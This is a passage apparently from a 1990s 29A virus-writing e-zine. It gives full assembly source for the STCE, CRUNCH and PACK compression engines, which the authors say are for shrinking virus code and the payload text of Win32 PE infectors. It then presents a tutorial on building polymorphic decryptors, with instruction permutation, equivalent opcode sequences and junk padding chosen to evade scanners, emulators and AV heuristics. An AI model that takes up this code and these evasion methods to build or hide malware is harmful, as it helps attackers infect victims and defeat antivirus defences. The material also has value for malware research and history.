-> holds the *decompressed* size of (so, if u compress with cx=200h, DS:SI -> holds the address of the data we ES:DI -> here's where we want STCE to put

the data we want to decompress. to decompress must use cx=200h) want to decompress. the decompressed data.

Note! AX, BX, DX and BP *MUST* hold the same values which were previously used when having called the "compress" routine.

- Output: ES:DI -> address of what you asked STCE to put there ;)

Structure of AX, BX, DX and BP ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ When we want to encode a value in one of this registers, we may use two different ways: either by picking a fix number of bits or by means of this little table, for low values:

Bits ÄÄÄÄ 0 10 110 [...]

Number which represent ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 1 2 3 [...]

AH and DH hold variable values (depending on if this value is less than 3), while AL and DL hold fix ones, which, being added to the previous ones, have to be as result the value we want to use in the compression routine. About BX and BP, just note that their high part MUST be zero (otherwise STCE won't work ok), while the low one is used to encode the relative offset where the repeated-byte sequence is found. Anyway, the best thing is to do some tests with several values until STCE satisfies your needs or viral instincts!!! ;) And now, here you have the code for STCE itself...

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 ;*********************************************************; ;*********************************************************; ;** **; ;** ======================================= **; ;** Super Tiny Compression Engine (STCE) **; ;** ======================================= **; ;** Made by Super/29A **; ;** **;

;*********************************************************; ;*********************************************************; .model tiny .code public compress public decompress ;=========================================================; ;=========================================================; start: save_regs: ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

[BP-14] [BP-12] [BP-10] [BP-0e] [BP-0c] [BP-0a] [BP-8] [BP-6] [BP-4] [BP-2] [BP+0] [BP+2] [BP+4] [BP+6] [BP+8] [BP+0a] [bp+0c]

= = = = = = = = = = = = = = = = =

not repeated-bytes counter max address min address max number of bytes of rerpetitions max number of bytes of not repetitions CX bit counter where to write bits where to write bits ES = output buffer segment BX = 0x0x BP = 0x0x DX = 0x0x AX = 0x0x DI = output buffer offset CX = length of data to compress SI = input buffer offset

push si push cx push di push ax push dx push bp cld test al,05bh push bx push sp inc bx inc bp pop bp push es push di inc di push di mov di,08h push di push cx

; ; ; executable text: '[STCE]' ; ; ;

j1: mov al,[bp+di-2] cbw cwd xchg cx,ax jcxz j2 inc dx rol dx,cl j2: mov cl,[bp+di-1]

add dx,cx push dx ;push this value on the stack dec di dec di jnz j1 push di jmp [bp+0eh] decompress: call save_regs mov bl,1 ;indicate the bit we are reading mov di,[bp+08h] decompress0: call read_bit jb decompress1 ;if bit=1, that means a repeated sequence of bytes mov ax,[bp+06h] ;else read the number of bytes stored call read push cx rep ; movsb ;write these bytes jmp decompress4 decompress1: mov cx,[bp+02h] jcxz decompress2 ;jump if we only use one fixed number of bits call read_bit ;else read one bit jb decompress3 ;if that bit=1, then we use a number of bits specified in "bx" parameter ;else we use the number of bits specified in "bp" parameter" decompress2: mov cx,[bp+00h] decompress3: xchg cx,ax call read ;read these bits push cx ;this value will be the rel.offs. of repeated sequence mov ax,[bp+04h] call read ;now, read the number of bytes that do repeat inc cx pop ax push cx push si mov si,di sub si,ax rep ; db 26h ; copy repeated sequence from es:si to es:di movsb ; pop si decompress4: pop ax sub [bp-0ah],ax ;have we finished? jnz decompress0 ;jump if not load_regs: mov sp,bp pop bx pop bp pop dx pop ax pop di pop cx pop si inc sp inc sp

ret read_bit: dec jnz mov mov inc read_bit1: shr ret

bl read_bit1 bh,[si] bl,8 si bh,1

read: cwd sub cx,cx read1: inc cx dec ah js read3 call read_bit jnb read1 read2: add cx,dx ret read3: sub al,1 js read2 call read_bit rcl dx,1 jmp read3 compress: call save_regs find_more: push ds pop es sub bx,bx mov [bp-14h],bx find_more0: inc si mov cx,si sub cx,[bp+0ch] cmp cx,[bp-12h] jb ok1 mov cx,[bp-12h] ok1: mov di,si sub di,cx find_more1: jcxz compress1 mov ax,[si-1] find_more2: repnz scasb jcxz compress1 ;jump if not found cmp [di],ah jnz find_more2 xchg cx,ax mov cx,[bp-0eh] inc cx repz ; cmpsb ; compare to see who many bytes are equal dec cx

xchg cx,ax sub ax,[bp-0eh] neg ax sub si,ax sub di,ax cmp ax,bx ;have we got more bytes than previous times? jb find_more1 ;jump if negative mov bx,[bp+0ah] cmp ax,bx ja too_far xchg bx,ax too_far: mov dx,si sub dx,di ;store the relative offset jmp short find_more1 ;try to find larger sequences of rep.bytes compress1: neg bx jb compress3 ;jump if number of bytes repeted>2 inc word ptr [bp-14h] ;increase the counter of non-repeated bytes dec word ptr [bp+0ah] jz compress2 ;jump if last byte mov ax,[bp-14h] cmp ax,[bp-0ch] jb find_more0 ;jump if we can put altogether more non-repeated bytes compress2: inc si compress3: call store_data ;just do it cmp [bp+0ah],ax jnz find_more ;jump if there remains any byte mov ax,[bp-06h] sub ax,[bp+08h] mov [bp+0ah],ax ;calculate size of compressed data align_bits: call write_bit ;align bits, so as to be able to decompress jns align_bits jmp load_regs write_bit: dec byte ptr [bp-08h] jns write_bit1 mov byte ptr [bp-08h],7 push word ptr [bp-06h] pushf inc word ptr [bp-06h] popf pop word ptr [bp-04h] write_bit1: les di,[bp-04h] rcr byte ptr es:[di],1 ret store_data: dec si mov cx,[bp-14h] jcxz store_data1 ;jump if there r no stored bytes call write_bit ;write bit=0, because cf=0 push cx xchg cx,ax mov cx,[bp+06h] call write ;write number of bytes stored pop cx sub si,cx

mov di,[bp-06h] rep ; movsb ; store those bytes mov [bp-06h],di store_data1: neg bx jnb write3 ;jump if no repeated bytes call write_bit ;write bit=1 lea si,[bx+si] sub [bp+0ah],bx cmp [bp+02h],cx ;cx=0 xchg dx,ax mov cx,[bp+00h] jz store_data3 cmp ax,[bp-10h] jnb store_data2 mov cx,[bp+02h] store_data2: call write_bit ;write bit to select from "bp"/"bx" number of bytes store_data3: call write ;write relative offset of repeated secuence of bytes dec bx xchg bx,ax mov cx,[bp+04h] ;and now, write the number of bytes repeated write: dec ax dec ch js write1 sub ax,1 inc ax jb write_bit call write_bit jmp write write1: mov ch,0 jcxz write3 ror ax,cl write2: shl ax,1 call write_bit loop write2 write3: ret ;=========================================================; ;=========================================================; end start - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

And now words from Vecna... It's a casuality. When I joined 29A, I was working in a compression routine for my Win32 virus, so here's this little extension for Super's article, in which I will show two other engines. They're generally worse than STCE, except in some files. Objects are less compressed, but they are smaller. The first engine, CRUNCH/UNCRUNCH, is 321 bytes long, while the other one, the PACK/UNPACK routine, is 67 bytes only!!! CRUNCH/UNCRUNCH works better with text files, because they use a reduced set of ASCII codes, and the PACK/UNPACK routine works nice with VxD code and other stuff with lots of zeros.

PACK/UNPACK ÄÄÄÄÄÄÄÄÄÄÄ This engine consists on a simple zero-repeat compression. It copies code from the source buffer to a destination buffer, checking for zeros. When it finds one, it starts counting the number of zeros which follow that initial zero, and then stores that value. So, all the zeros will be followed by the number of times we need to repeat them. Pretty simple, as you see.

CRUNCH/UNCRUNCH ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This routine is based on the premise that not all possible ASCII codes are used in a given text. Some letters, for instance in portuguese or spanish, like a, s, c, or e are more used than others, like k, y, w, t, etc. Other codes, such as the high ASCII ones, are almost never used! So this routine works in two steps. First it scans for the most used codes, creating two tables, each of them with the 15 most used characters. Then it starts compressing the file. If the character in the source buffer is present in the first table, the engine will put its offset in the table. Else, it will look for that character in the second table, and if it's there, will put a zero to mark a table change and put the offset of the character in that second table. Finally, if the character is not present in any table, then the engine will put a zero and the plain ASCII code. The 15 characters, which are the max number in our table, can be represented in a nibble, so we may gain space. So, it will work this way:

* Codes in 1st table -> 1 nibble * Codes in 2nd table -> 2 nibbles (one 0 and the offset) * Codes not found in any table -> 4 nibbles (two 0 and the ASCII code)

This compression engine is especially useful in order to compress, for instance, the text of a payload in a virus, the names of the APIs used in a Win32 PE infector... in general, any plain text you would like to compress. Note: these engines were written based on a idea of Reptile/29A. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 ; CRUNCH compression engine, by Vecna/29A ; Entry: ; CX = number of bytes to compress ; SI = points to the code to compress ; DI = buffer where to put the compressed code ; Exit: ; CX = number of bytes to save ; DX = buffer to save public CRUNCH CRUNCH proc cld call init push di pusha push cx mov di, offset dictionary mov cx, 15+256 xor ax, ax rep stosw pop cx

mov di, offset frequency_table count_loop: lodsb mov bx, ax shl bx, 1 cmp word ptr cs:[di+bx], -1 je overflow inc word ptr ds:[di+bx] overflow: loop count_loop mov di, offset dictionary mov cx, 15*2 next_char: push cx xor bx, bx mov si, offset frequency_table mov cx, 256 scan_table: lodsw cmp ax, bx jb lower mov bx, ax mov bp, si sub bp, 2 lower: loop scan_table mov word ptr [bp], 0 sub bp, offset frequency_table mov ax, bp shr ax, 1 stosb pop cx loop next_char popa push si mov si, offset dictionary call copy30 pop si push di cld next_byte: push cx xor ax, ax lodsb push di mov di, offset first_table mov cx, 15 repne scasb pop di jne try_table_2 calculate: mov ax, 15 sub ax, cx jmp found_in_table try_table_2: push di mov di, offset second_table mov cx, 15 repne scasb pop di jne no_table mov al, 0 call add_nibble

jmp calculate no_table: push ax xor ax, ax call add_nibble call add_nibble pop ax push ax and al, 11110000b shr al, 4 call add_nibble pop ax and al, 00001111b found_in_table: call add_nibble do_next: pop cx loop next_byte pop bx mov cx, di sub cx, bx add cx, 30 pop dx ret endp CRUNCH ; Init variables init

endp

proc mov byte ptr [up_down], 0 mov byte ptr [compressed], 0 ret init

; Add nibble in chain ; Entry: ; AL = nibble to add add_nibble proc cmp byte ptr [up_down], 0 jne down_byte shl al, 4 mov byte ptr [compressed], al inc byte ptr [up_down] ret down_byte: or al, byte ptr [compressed] stosb dec byte ptr [up_down] ret endp add_nibble ; Read nibble ; Exit: ; AL = nibble read_nibble proc cmp byte ptr [up_down], 0 jne low_nibble lodsb mov byte ptr [compressed], al and al, 11110000b shr al, 4

inc byte ptr [up_down] ret low_nibble: mov al, byte ptr [compressed] and al, 00001111b dec byte ptr [up_down] dec cx ret endp read_nibble ; Copy 30 bytes copy30: push cx mov cx, 30 rep movsb pop cx ret - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 ; UNCRUNCH decompression engine, by Vecna/29A ; Entry: ; CX = number of bytes to expand ; SI = buffer to expand ; DI = buffer for expanded code ; Exit: ; CX = number of expanded bytes ; DX = buffer of expanded bytes public UNCRUNCH UNCRUNCH proc call init push di mov di, offset dictionary call copy30 pop di push di sub cx, 30 unpack_loop: xor ax, ax call read_nibble cmp al, 0 je maybe_second_table mov bx, offset first_table jmp do_calc maybe_second_table: call read_nibble cmp al, 0 je store_full mov bx, offset second_table do_calc: add bx, ax mov al, byte ptr [bx-1] jmp store_this store_full: call read_nibble push ax call read_nibble pop bx shl bl, 4 or al, bl store_this: stosb

or cx, cx jnz unpack_loop pop dx mov cx, di sub cx, dx ret endp UNCRUNCH - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 ; PACK compression engine, by Vecna/29A ; Entry: ; CX = number of bytes to compress ; SI = offset of code to compress ; DI = buffer to put compressed code in ; Exit: ; CX = number of bytes to save ; DX = buffer to save public PACK PACK proc mov dx, di xor bx, bx nextta: lodsb or al, al jnz nextbyte inc bx loop nextta nextbyte: or bx, bx jz nada push ax mov al, 0 stosb mov ax, bx stosw xor bx, bx pop ax jcxz quit nada: stosb loop nextta quit: mov cx, di sub cx, dx ret endp PACK - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 ; UNPACK decompression engine, by Vecna/29A ; Entry: ; CX = number of bytes to expand ; SI = buffer to expand ; DI = buffer for expanded code ; Exit: ; CX = size of expanded code ; DX = buffer of expanded code public UNPACK UNPACK proc mov dx, di nexttat:

lodsb or al, al jnz nextbit sub cx, 2 push cx lodsw mov cx, ax xor ax, ax rep stosb pop cx loop nexttat jcxz quitta nextbit: stosb loop nexttat quitta: mov cx, di sub cx, dx ret endp UNPACK - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 ; Variables for the engines up_down db ? compressed db ? dictionary label first_table label db 15 dup (?) second_table label db 15 dup (?) frequency_table label dw 256 dup (?) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

Super/29A & Vecna/29A

Analysis on the decryptor generation ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Lord Julus ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ Û D I S C L A I M E R Û Û Û Û The following document is a study. It's only purpose is to be used in Û Û the virus research only. The author of this article is not responsible Û Û for any misuse of the things written in this document. Most of the Û Û things published here are already public and they represent what the Û Û author gathered across the years. Û Û The author is not responsible for the use of any of these information Û Û in any kind of virus. Û Û Lord Julus. Û ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ

ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Foreword ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄBefore saying anything I would like to apologize from the beginning for my English mistakes, as I had to write this article really fast so I had no time to spell/grammar check. Second of all, I am still under the influence of the polymorphic engine I started to work on for some time now (Lord's Multiple Opcode Fantasies). My routine was under development, when I realised I really needed a document to read from, some place where I could keep all the info I collect. That's when I started on this article here. So, most of it is concentrated on the main idea I used in M.O.F. But, in order to make it more simple to understand and more easy to explain I made a few 'shorcuts', sort of speak. E.g., you'll get the main idea and you'll be able to make your own poly engine after reading this, but you'll have to use you're imagination. This may not be the final form of this document. I might get new ideas or realize I made some mistakes. If I do I'll write it again... (that's why I gave it a version number, 1.5). So, for any comments, ideas, suggestions or mistakes you noticed I can be reached via e-mail at this address: [email protected] Do not wait and write ! Be well, Lord Julus.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Introduction ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄBefore the heuristic analysers and the code emulators appeared on the market the usual encryption methods worked pretty good. And I do not speak only about viruses. I also reffer to the methods used for protecting software and data. Code emulators are able to crack your protections in a matter of minutes. That's when the ideea of polymorphism arose. A coder from Bulgaria passing by the nickname of Dark Avenger who wrote a lot of destructive viruses (including an antivirus against two of his viruses who unleashed a third virus) came with this ideea when his MtE (Mutation Engine) appeared. What polymorphism is really all about is creating self decrypting code, able to create each and every time a different decryptor containing both decrypting code and also junk instruction designed to make debugging and emultating harder. As this article is not designed to explain why is this needed or make

a pro statement for polymorphism I will get directly to facts. So, in my opinion a good poly engine should be able to: * Create different decryptors by: - generating different instructions which do the same thing - swaping groups of instruction between them - creating calls to dummy routines * * * * * *

Generate junk instruction between real code Being portable (can be included in any program) Everything should be based on random numbers Being able to create different size decryptors It must be fast It must be as small as possible

Something anyone can notice is that the biggest and complicated the decryptor is, the biggest and complicated and *slower* is the polymorphic engine. All you'll have to do is find a good balance, e.g. finding the best level of polymorphism a fast and small routine can create. In order to make this more easy to understand, I will use some notations that are showed below: a) General notations: reg preg sreg imm mem

-

general register (AX, BX, pointer register (SI, DI, segment register (CS, DS, immediate value (8 bit or memory location

CX, DX) BP) ES, SS) 16 bit)

(note that BX can also be used as pointer register but I will avoid this case in this article) b) Specific notations: lreg - Register to hold code length creg - Register to hold the code kreg - Register to hold the key sreg - Segment override for the source dreg - Segment override for destination preg - The pointer register jreg - Junk register jprg - Junk pointer register key - Encryption key keyi - Key increment rndm - random number length - Code length / 2 (because usualy the length is given in bytes and I like to code on words) In order to make the polymorphic engine (PME) create the decryptor faster I will assume the following, even though this is a little against the rules I gave for a good engine, but I will explained why: * AX will be the junk register * BP will be used as a delta handler * The engine will create equal size decryptors (this in order

to preserve the ability of a virus to hide the length of the host using stealth procedures) And now the reason: many OpCodes for instructions are optimized for the register AX. This means that an instruction using the AX register will be shorter than one involving the BX register. Now, you probably think this is stupid... No ! That's because when generating instructions you have a set of instructions that do the same thing. Obviously the sum of bytes for each set will never be equal. If you want to create a PME to generate equal size decryptors, you'll have to pad with NOP's so all the sets will have same size. So, it's no use to have an optimized AX instruction if you have to pad it anyway because another instruction has more bytes. Instead, being the junk register, the junk code will be optimized on AX. This means you can have more junk instructions in the same space. I hope this clears it. (as you will see further I will not take use of this either to make the poly smaller...)

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ General Decryptor ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄI will begin now with the general type decryptor and I will explain the way it works. This code is usualy put at the end of code, but some are put at the begining (I will not explain this here. MOF uses decryptors in different places, but you have to take care of the Delta Handle). The Decryptor is called from the beginning, decrypts the code and gives it the control (i.e. jumps to it). Notice each instruction will have a number for further use. Decrypt [1] [2] [3] [4] [5] [6] [7]

proc near mov lreg, mov preg, push cs pop jreg mov sreg, mov dreg, mov kreg,

length startcode

jreg jreg key

; ; ; ; ; ; ;

get code length load pointer register make both source and destination segment registers point to the Code Segment get the key

; ; ; ; ; ; ; ; ;

take an encrypted word decrypt it (*) write decrypted word increment the key decrement length increment pointer by 2 and loop until length=0 return control

main_loop: [8] [9] [10] [11] [12] [13] [14] [15] [16] Decrypt

mov creg, sreg:[preg] call unscramble mov dreg:[preg], creg add kreg, keyi dec lreg inc preg inc preg jnz main_loop ret endp

(*) I will get back to the unscrambling procedure later. As you can see, this is a general decryptor which takes a word from source:pointer, decrypts it and then puts it back to destination:pointer (which in this case are the same). Also you may notice I used the incremented style encryption key. And the increment is not 1 as most decryptors do, but a random number ! (I'll discuss random stuff later too).

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Permuting Instructions ³

ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄOne of the very important things in a PME is the ability to swap instructions or groups of instructions between them. Only this feature is good enough to flame scan-string scaners. But we must be very careful about what can be swaped and what can't, and so to establish some rules. In our case this is how it goes: Permutable instructions: Permutable instructions are in the [1] following: a) instruction [1] can be placed b) instruction [2] can be placed c) instruction [3] can be placed above instruction [4] d) instruction [4] can be placed under instruction [3] e) instruction [5] can be placed under instruction [4] f) instruction [6] can be placed under instruction [4] g) instruction [7] can be placed

- [7] range with the anywhere anywhere anywhere but always anywhere but always anywhere but always anywhere but always anywhere

Also permutable are instructions [10] - [14], which can be placed in any order. How do we permute the instructions. As you will see later, you will have a routine for generating each of the above instructions. So, all you have to do is make a matrix of bytes with the length 16, mark the 8, 9, 15 and 16 positions with 8, 9, 15, 16 (as these can not be permuted). Then fill the first part of the matrix (1-7) with numbers from 1 to 7 in a random order (being careful about the rules) and then fill the 10-14 part with numbers between 10-14 in a random order. Now, all you have to do is call your routines in that order. Example: 3,1,2,4,7,6,5,8,9,14,12,10,13,11,15,16 (this code does exactly the same thing as the one above).

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Coding Instructions ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄHere comes the best part of a PME: coding instructions in different ways. What does this mean ? Let's take an example: ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄ Instruction ³ OpCodes ³ Total bytes ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ mov bx, 1000h ³ B8 00 10 ³ 3 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ xor bx, bx ³ 33 DB ³ or bx, 1000h ³ 81 CB 00 10 ³ 6 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ push 1000h ³ 68 00 10 ³ pop bx ³ 5B ³ 4 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ sub bx, bx ³ 2B DB ³ xor bx, 1000h ³ 81 F3 00 10 ³ 6 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ mov bx, 1000h xor 2222h ³ BB 22 32 ³ xor bx, 2222h ³ 81 F3 22 22 ³ 6

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄ Each and everyone of the above combinations will do the same thing: put the value 1000h into the BX register. Of course, the number of opcodes involved in each case is different, as you can see. What we'll need to do then is: * pick up a combination * generate it * see the difference between the bytes number of the choosen combination and the one with the most bytes (6 in our case) * pad the instruction with junk to reach the max You will notice that as the instruction is more simple, it is more padded with junk and vice-versa. Ok, so let's get back to our example and let's pick some variants for each one of our instructions. [1]/[2] mov lreg, length / mov preg, startcode ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ (As I will explain later, many AV products tend to find out for themselves different values, like the length of the code or the start of code and so on. Therefore, I will use a method to hide this. I will discuss it more in the Armouring section) a) push imm pop reg xor reg, rndm junk byte junk byte junk byte ÄÄÄÄÄÄÄÄÄ 11 bytes

(imm = real data xor rndm)

b) mov ax, imm mov reg, ax sub reg, rndm junk byte junk byte ÄÄÄÄÄÄÄÄÄÄÄ 11 bytes

(imm = real data + rndm)

c) xor reg, reg xor reg, imm add reg, rndm junk byte ÄÄÄÄÄÄÄÄÄÄÄÄ 11 bytes d) mov reg, 0 add reg, imm xor reg, rndm ÄÄÄÄÄÄÄÄÄÄÄÄ 11 bytes e) mov reg, imm xor reg, rndm junk byte junk byte junk byte junk byte ÄÄÄÄÄÄÄÄÄÄÄÄ

(imm = real data - rndm)

(imm = real data xor rndm)

(imm = real data xor rndm)

11 bytes [3] push cs Ä 1 byte ~~~~~~~~~~~~~~~~~~~~~~~~~~~ (we'll leave this like it is, it's much too usual) [4] pop jreg ~~~~~~~~~~~~~~~~~~ a) mov jprg, sp mov ax, ss:[jprg] add sp, 2 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 8 bytes b) pop jprg xchg ax, jprg junk bytes \ ... > six times junk bytes / ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 8 bytes c) pop jprg mov ax, jprg junk bytes \ ... > five bytes junk bytes / ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 8 bytes [5]/[6] mov sreg, jreg / mov dreg, jreg ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ a) push ax pop sreg junk byte junk byte ÄÄÄÄÄÄÄÄÄÄÄÄÄ 4 bytes b) mov sreg, ax junk byte junk byte ÄÄÄÄÄÄÄÄÄÄÄÄÄ 4 bytes c) pop jreg xchg jreg, ax mov es, ax ÄÄÄÄÄÄÄÄÄÄÄÄÄ 4 bytes

[7] mov kreg, key ~~~~~~~~~~~~~~~~~~~~~~~ a) mov reg, imm junk byte junk byte junk byte ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 6 bytes b) push imm pop reg

junk byte junk byte ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 6 bytes c) xor reg, reg or reg, imm ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 6 bytes [8] mov creg, sreg:[preg] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ a) mov creg, sreg:[reg] junk byte junk byte junk byte ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 6 bytes b) push sreg:[reg] pop reg junk byte junk byte ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 6 bytes c) xor reg, reg xor reg, sreg:[reg] ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 6 bytes [9] call unscrambble Ä 3 bytes ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ [10] mov dreg:[preg], creg ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ a) mov sreg:[reg], creg junk byte junk byte junk byte ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 6 bytes b) push reg pop sreg:[reg] junk byte junk byte ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 6 bytes c) xchg reg, sreg:[reg] junk byte junk byte junk byte ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 6 bytes [11] add kreg, keyi ~~~~~~~~~~~~~~~~~~~~~~~~ a) add reg, imm junk byte junk byte junk byte

junk byte junk byte ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 9 bytes b) mov ax, imm add reg, ax junk byte junk byte junk byte junk byte ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 9 bytes c) mov ax, reg add ax, imm xchg reg, ax junk byte junk byte junk byte ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 9 bytes d) xchg ax, reg xor reg, reg or reg, ax add reg, imm ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 9 bytes [12] dec lreg ~~~~~~~~~~~~~~~~~ a) dec lreg junk byte \ ... > 8 times junk byte / ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 9 bytes b) mov ax, rndm sub lreg, ax add lreg, rndmÄ1 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 9 bytes c) sub lreg, 1 junk byte \ ... > six times junk byte / ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 9 bytes d) xchg ax, lreg dec ax mov lreg, ax junk byte \ ... > five times junk byte / ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 9 bytes [13]/[14] inc preg ~~~~~~~~~~~~~~~~~~~

a) mov ax, 1 add preg, ax junk byte junk byte junk byte ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 8 bytes b) xchg ax, preg inc ax xchg preg, ax junk byte \ ... > 5 times junk byte / ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 8 bytes c) sub preg, rndm add preg, rndm+1 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 8 bytes d) add preg, rndm sub preg, rndmÄ1 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 8 bytes [15] jnz main_loop ~~~~~~~~~~~~~~~~~~~~~ (very important to code this good so the scaners don't see it's a decrypt loop. We'll speak more in the Armouring section) a) push cx mov cx, lreg jcxz _label pop cx jmp main_loop _label: pop cx junk byte ÄÄÄÄÄÄÄÄÄÄÄÄ 10 bytes b) mov ax, ffffh add ax, lreg jns main_loop junk byte junk byte junk byte ÄÄÄÄÄÄÄÄÄÄÄÄÄ 10 bytes c) xor ax, ax sub ax, lreg jns main_loop junk byte \ ... > six times junk byte / ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 10 bytes d) xchg ax, lreg

sub ax, 15h cmp ax, 0FFEBh xchg ax, lreg je main_loop ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 10 bytes And now, some discussion on these matters. First of all, you notice I wrote those junk bytes *after* the real code. You may choose to leave it this way, which will allow you to use junk instruction involving the junk register too. But I'd suggest to insert the junk bytes bewteen the real code, in this way having a better stealth of the real code. But in this case, of course, you won't be able to use junk instruction involving the junk register, unless they do nothing (like ADD AX, 0), because the junk register is used in the real code. I'd suggest the use of one byte or two bytes instructions BUT not in the last set (15) bacause here we need our flags to stay put! Another thing about the last pieces of code. You see there many conditional jumps. Well, they will not work ! Why ? Because the jump to the main_loop is surely bigger then -128 bytes. In this case all you have to do is change the code kinda like this: Instead of

Use

Je Main_Loop

Jne not_main_loop jmp main_loop not_main_loop:

